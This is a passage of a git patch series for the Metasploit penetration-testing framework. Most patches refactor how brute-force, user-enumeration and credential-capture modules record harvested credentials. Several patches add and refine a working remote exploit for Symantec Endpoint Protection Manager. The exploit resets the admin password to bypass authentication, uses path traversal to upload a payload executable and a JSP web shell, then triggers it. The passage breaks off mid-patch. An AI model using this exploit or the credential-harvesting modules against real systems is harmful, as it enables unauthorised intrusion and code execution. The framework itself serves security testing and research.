we don't have any reason to # print it out. However, we treat the absence of ranges as meaning @@ -1078,7 +1094,9 @@ class Db if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) } next end + row = [ login.service.host.address ] + row << origin rhosts << login.service.host.address if login.service.name.present? row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" From 25dde141d6d42b9d200920cc185790f85024f517 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 24 Jul 2015 15:24:18 -0500 Subject: [PATCH 041/119] fix rspec --- .../ui/console/command_dispatcher/db_spec.rb | 76 +++++++++---------- 1 file changed, 37 insertions(+), 39 deletions(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 28cd600b02..ef35238716 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -107,65 +107,63 @@ describe Msf::Ui::Console::CommandDispatcher::Db do context "when the credential is present" do it "should show a user that matches the given expression" do db.cmd_creds("-u", username) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " thisuser thispass Password", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " thisuser thispass Password" + ]) end it 'should match a regular expression' do subject.cmd_creds("-u", "^#{username}$") - @output.should =~ - [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " thisuser thispass Password", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " thisuser thispass Password" + ]) end it 'should return nothing for a non-matching regular expression' do subject.cmd_creds("-u", "^#{nomatch_username}$") - @output.should =~ - [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------" + ]) end context "and when the username is blank" do it "should show a user that matches the given expression" do db.cmd_creds("-u", blank_username) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " nonblank_pass Password", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " nonblank_pass Password" + ]) end end context "and when the password is blank" do it "should show a user that matches the given expression" do db.cmd_creds("-P", blank_password) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " nonblank_user Password", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " nonblank_user Password" + ]) end end end @@ -174,25 +172,25 @@ describe Msf::Ui::Console::CommandDispatcher::Db do context "due to a nonmatching username" do it "should return a blank set" do db.cmd_creds("-u", nomatch_username) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------" + ]) end end context "due to a nonmatching password" do it "should return a blank set" do db.cmd_creds("-P", nomatch_password) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------" + ]) end end end @@ -257,14 +255,14 @@ describe Msf::Ui::Console::CommandDispatcher::Db do it "should show just the password" do db.cmd_creds("-t", "password") # Table matching really sucks - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " thisuser thispass Password" - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " thisuser thispass Password" + ]) end end From 54c5c6ea38199b09cfd358bb0aa6f9edcd3445bc Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Jul 2015 14:31:35 -0500 Subject: [PATCH 042/119] Another update --- .../scanner/sap/sap_soap_bapi_user_create1.rb | 38 ++++++++++-- .../scanner/sap/sap_soap_rfc_brute_login.rb | 43 +++++++++++--- .../scanner/sap/sap_web_gui_brute_login.rb | 59 +++++++++++++------ .../scanner/ssh/cerberus_sftp_enumusers.rb | 27 ++++++--- .../auxiliary/scanner/ssh/ssh_enumusers.rb | 27 ++++++--- modules/auxiliary/server/capture/http.rb | 42 ++++++++++--- modules/auxiliary/server/capture/mysql.rb | 44 ++++++++++---- .../unix/webapp/vbulletin_vote_sqli_exec.rb | 26 ++++++++ .../auxiliary/test/report_auth_info.rb | 49 +++++++++++++++ 9 files changed, 290 insertions(+), 65 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index e3398ad301..fe6c3acb6d 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -52,6 +52,32 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) data = '' data << '' @@ -99,12 +125,12 @@ class Metasploit4 < Msf::Auxiliary else print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created") report_auth_info( - :host => ip, - :port => rport, - :sname => "sap", - :user => "#{datastore['BAPI_USER']}", - :pass => "#{datastore['BAPI_PASSWORD']}", - :active => true + ip: ip, + port: rport, + service_name: 'sap', + user: datastore['BAPI_USER'], + password: datastore['BAPI_PASSWORD'], + proof: res.body ) return end diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index 0e42d39ce5..1febb6b023 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -101,6 +101,33 @@ class Metasploit4 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def bruteforce(username,password,client) uri = normalize_uri(target_uri.path) @@ -132,15 +159,13 @@ class Metasploit4 < Msf::Auxiliary if res && res.code == 200 && res.body.include?('RFC_PING') print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => "sap", - :proto => "tcp", - :user => username, - :pass => password, - :proof => "SAP Client: #{client}", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'sap', + user: username, + password: password, + proof: "SAP Client: #{client}" ) return true end diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb index b54eb2d44e..ebac99fd8b 100644 --- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb @@ -107,6 +107,33 @@ class Metasploit4 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def bruteforce(uri,user,pass,cli) begin path = "sap/bc/gui/sap/its/webgui/" @@ -134,30 +161,26 @@ class Metasploit4 < Msf::Auxiliary end if res and res.code == 302 - report_auth_info( - :host => rhost, - :port => rport, - :sname => "sap_webgui", - :proto => "tcp", - :user => "#{user}", - :pass => "#{pass}", - :proof => "SAP Client: #{cli}", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'sap_webgui', + user: user, + password: pass, + proof: "SAP Client: #{cli}" ) return true elsif res and res.code == 200 if res.body =~ /log on again/ return false elsif res.body =~ /Change Password - SAP Web Application Server<\/title>/ - report_auth_info( - :host => rhost, - :port => rport, - :sname => "sap_webgui", - :proto => "tcp", - :user => "#{user}", - :pass => "#{pass}", - :proof => "SAP Client: #{cli}", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'sap_webgui', + user: user, + password: pass, + proof: "SAP Client: #{cli}" ) return true elsif res.body =~ /Password logon no longer possible - too many failed attempts/ diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb index 3b6cf7c2ae..52becd24cc 100644 --- a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb @@ -140,13 +140,26 @@ class Metasploit3 < Msf::Auxiliary end def do_report(ip, user, port) - report_auth_info( - :host => ip, - :port => rport, - :sname => 'ssh', - :user => user, - :active => true - ) + service_data = { + address: ip, + port: rport, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) end def peer(rhost=nil) diff --git a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb index bb7dc4ce44..3379adad44 100644 --- a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb @@ -118,13 +118,26 @@ class Metasploit3 < Msf::Auxiliary end def do_report(ip, user, port) - report_auth_info( - :host => ip, - :port => rport, - :sname => 'ssh', - :user => user, - :active => true - ) + service_data = { + address: ip, + port: rport, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) end # Because this isn't using the AuthBrute mixin, we don't have the diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index 784ce1814d..721835e278 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -110,6 +110,32 @@ class Metasploit3 < Msf::Auxiliary raise ::EOFError end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def dispatch_request(cli, req) phost = cli.peerhost @@ -187,14 +213,14 @@ class Metasploit3 < Msf::Auxiliary if(req['Authorization'] and req['Authorization'] =~ /basic/i) basic,auth = req['Authorization'].split(/\s+/) user,pass = Rex::Text.decode_base64(auth).split(':', 2) - report_auth_info( - :host => cli.peerhost, - :port => @myport, - :sname => (ssl ? "https" : "http"), - :user => user, - :pass => pass, - :source_type => "captured", - :active => true + + report_cred( + ip: cli.peerhost, + port: @myport, + service_name: (ssl ? "https" : "http"), + user: user, + pass: pass, + proof: req.resource.to_s ) report_note( diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 82d13dc22a..a11ff87366 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -128,6 +128,32 @@ class Metasploit3 < Msf::Auxiliary c.put data end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_data(c) info = { :errors => [] } data = c.get_once @@ -144,16 +170,14 @@ class Metasploit3 < Msf::Auxiliary print_status("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}") end hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}" - report_auth_info( - :host => c.peerhost, - :port => datastore['SRVPORT'], - :sname => 'mysql_client', - :user => info[:username], - :pass => hash_line, - :type => "mysql_hash", - :proof => info[:database] ? info[:database] : hash_line, - :source_type => "captured", - :active => true + + report_cred( + ip: c.peerhost, + port: datastore['SRVPORT'], + service_name: 'mysql_client', + user: info[:username], + pass: hash_line, + proof: info[:database] ? info[:database] : hash_line ) if (datastore['CAINPWFILE']) diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb index 182688550f..b3943cb4fb 100644 --- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb +++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb @@ -371,6 +371,32 @@ class Metasploit3 < Msf::Exploit::Remote end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def exploit print_status("#{peer} - Checking for a valid node id...") node_id = get_node diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index af7ffcc6b6..ef63d59539 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -324,20 +324,69 @@ class Metasploit3 < Msf::Auxiliary mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Oracle Integrated Lights Out Manager Portal', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end + def test_mysql + mod = framework.auxiliary.create('server/capture/mysql') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'mysql_client', user: FAKE_USER, pass: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_http + mod = framework.auxiliary.create('server/capture/http') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, pass: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_ssh_enumusers + mod = framework.auxiliary.create('scanner/ssh/ssh_enumusers') + mod.do_report(FAKE_IP, FAKE_USER, FAKE_PORT) + end + + def test_cerberus_sftp_enumusers + mod = framework.auxiliary.create('scanner/ssh/cerberus_sftp_enumusers') + mod.do_report(FAKE_IP, FAKE_USER, FAKE_PORT) + end + + def test_sap_web_gui_brute_login + mod = framework.auxiliary.create('scanner/sap/sap_web_gui_brute_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap_webgui', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_sap_soap_rfc_brute_login + mod = framework.auxiliary.create('scanner/sap/sap_soap_rfc_brute_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_sap_soap_bapi_user_create1 + mod = framework.auxiliary.create('scanner/sap/sap_soap_bapi_user_create1') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + + def run + counter_all = 0 + counter_good = 0 + counter_bad = 0 self.methods.each do |m| next if m.to_s !~ /^test_.+/ print_status("Trying: ##{m.to_s}") begin self.send(m) print_good("That didn't blow up. Good!") + counter_good += 1 rescue ::Exception => e print_error("That blew up :-(") print_line("#{e.class} #{e.message}\n#{e.backtrace*"\n"}") + counter_bad += 1 ensure print_line end + + counter_all += 1 end + + print_good("Number of test cases that passed: #{counter_good}") + print_error("Number of test cases that failed: #{counter_bad}") + print_status("Number of test cases overall: #{counter_all}") + print_line end end From 0067d251807e28be47f4160d8dd7fe02bbab28e7 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 16:40:03 -0500 Subject: [PATCH 043/119] add the sepm auth bypass rce module --- .../windows/http/sepm_auth_bypass_rce.rb | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 modules/exploits/windows/http/sepm_auth_bypass_rce.rb diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb new file mode 100644 index 0000000000..ead0c20bc8 --- /dev/null +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Symantec Endpoint Protection Manager Auth Bypass and RCE", + 'Description' => %q{ + This module exploits two separate vulnerabilities in Symantec Endpoint Protection Manager + in order to achieve a remote shell on the box. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bperry', #metasploit module + 'CodeWhiteSec' #discovery + ], + 'References' => + [ + ['CVE', '2015-1486'], + ['CVE', '2015-1487'], + ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] + ], + 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { + 'Arch' => ARCH_X86, + 'Payload' => { + 'DisableNops' => true + } + } ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 31 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [true, 'The path of the web application', '/']), + ], self.class) + end + + def exploit + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), + 'method' => 'POST', + 'vars_post' => { + 'ActionType' => 'ResetPassword', + 'UserID' => 'admin', + 'Domain' => '' + } + }) + + cookie = res.get_cookies + + p cookie + exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\fdsa.exe").getInputStream()).useDelimiter("\\\\A").next()%>' + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), + 'method' => 'POST', + 'vars_get' => { + 'ActionType' => 'BinaryFile', + 'Action' => 'UploadPackage', + 'PackageFile' => '../../../tomcat/webapps/ROOT/fdsa.exe', + 'KnownHosts' => '.' + }, + 'data' => payload.encoded_exe, + 'cookie' => cookie, + 'ctype' => '' + }) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), + 'method' => 'POST', + 'vars_get' => { + 'ActionType' => 'BinaryFile', + 'Action' => 'UploadPackage', + 'PackageFile' => '../../../tomcat/webapps/ROOT/rewq.jsp', + 'KnownHosts' => '.' + }, + 'data' => exec, + 'cookie' => cookie, + 'ctype' => '' + }) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'rewq.jsp') + }) + end +end From 2bfc8e59be106124fa49ac08cbccd7f684204a7f Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 16:43:31 -0500 Subject: [PATCH 044/119] remove printline --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index ead0c20bc8..e74a2e6018 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -65,7 +65,6 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies - p cookie exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\fdsa.exe").getInputStream()).useDelimiter("\\\\A").next()%>' res = send_request_cgi({ From 47e86000eeb676a94add3c3021c52a79eae13269 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 16:50:06 -0500 Subject: [PATCH 045/119] randomize the file names --- .../exploits/windows/http/sepm_auth_bypass_rce.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index e74a2e6018..ebdcfdceec 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -53,6 +53,10 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + + meterp = Rex::Text.rand_text_alpha(10) + jsp = Rex::Text.rand_text_alpha(10) + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -65,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies - exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\fdsa.exe").getInputStream()).useDelimiter("\\\\A").next()%>' + exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), @@ -73,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_get' => { 'ActionType' => 'BinaryFile', 'Action' => 'UploadPackage', - 'PackageFile' => '../../../tomcat/webapps/ROOT/fdsa.exe', + 'PackageFile' => "../../../tomcat/webapps/ROOT/#{meterp}.exe", 'KnownHosts' => '.' }, 'data' => payload.encoded_exe, @@ -87,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_get' => { 'ActionType' => 'BinaryFile', 'Action' => 'UploadPackage', - 'PackageFile' => '../../../tomcat/webapps/ROOT/rewq.jsp', + 'PackageFile' => "../../../tomcat/webapps/ROOT/#{jsp}.jsp", 'KnownHosts' => '.' }, 'data' => exec, @@ -96,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote }) res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'rewq.jsp') + 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") }) end end From de47f4752be831f29def7214c47f81f261bd9d3e Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Sat, 1 Aug 2015 18:54:01 -0300 Subject: [PATCH 046/119] Added feature to add color background (Prompt) --- lib/rex/ui/text/color.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/rex/ui/text/color.rb b/lib/rex/ui/text/color.rb index e5265f53c2..1a412d53ed 100644 --- a/lib/rex/ui/text/color.rb +++ b/lib/rex/ui/text/color.rb @@ -75,6 +75,15 @@ module Color str.gsub!(/%und/, pre_color+colorize('underline')+post_color) str.gsub!(/%bld/, pre_color+colorize('bold')+post_color) str.gsub!(/%clr/, pre_color+colorize('clear')+post_color) + # Background Color + str.gsub!(/%bgblu/, pre_color+colorize('on_blue')+post_color) + str.gsub!(/%bgyel/, pre_color+colorize('on_yellow')+post_color) + str.gsub!(/%bggrn/, pre_color+colorize('on_green')+post_color) + str.gsub!(/%bgmag/, pre_color+colorize('on_magenta')+post_color) + str.gsub!(/%bgblk/, pre_color+colorize('on_black')+post_color) + str.gsub!(/%bgred/, pre_color+colorize('on_red')+post_color) + str.gsub!(/%bgcyn/, pre_color+colorize('on_cyan')+post_color) + str.gsub!(/%bgwhi/, pre_color+colorize('on_white')+post_color) str end From 272d75e437fc2a0ea45f89f6892491880a28a857 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 17:58:41 -0500 Subject: [PATCH 047/119] check res before calling get_cookies --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index ebdcfdceec..02da508571 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -67,6 +67,10 @@ class Metasploit3 < Msf::Exploit::Remote } }) + unless res + fail_with(Failure::Unknown, 'The server did not respond in an expected way') + end + cookie = res.get_cookies exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>' From e70ec8c07b69f3c253d8af719b110a7e7d5cb6df Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 18:00:35 -0500 Subject: [PATCH 048/119] no need to store res for the later requests --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 02da508571..74002283de 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>' - res = send_request_cgi({ + send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) - res = send_request_cgi({ + send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) - res = send_request_cgi({ + send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") }) end From 12ac6d81fad1be2b310f6ef0d860d6c733c59536 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 08:17:12 -0500 Subject: [PATCH 049/119] add markus as the discoverer specifically --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 74002283de..d4016a267d 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'bperry', #metasploit module - 'CodeWhiteSec' #discovery + 'Markus Wulftange' #discovery ], 'References' => [ From a33dff637d7219f67e6bf138b56d0b4e6a8d9e28 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 08:31:03 -0500 Subject: [PATCH 050/119] exploit cve 2015-1489 to get SYSTEM --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index d4016a267d..a66b8a9fa8 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -15,8 +15,8 @@ class Metasploit3 < 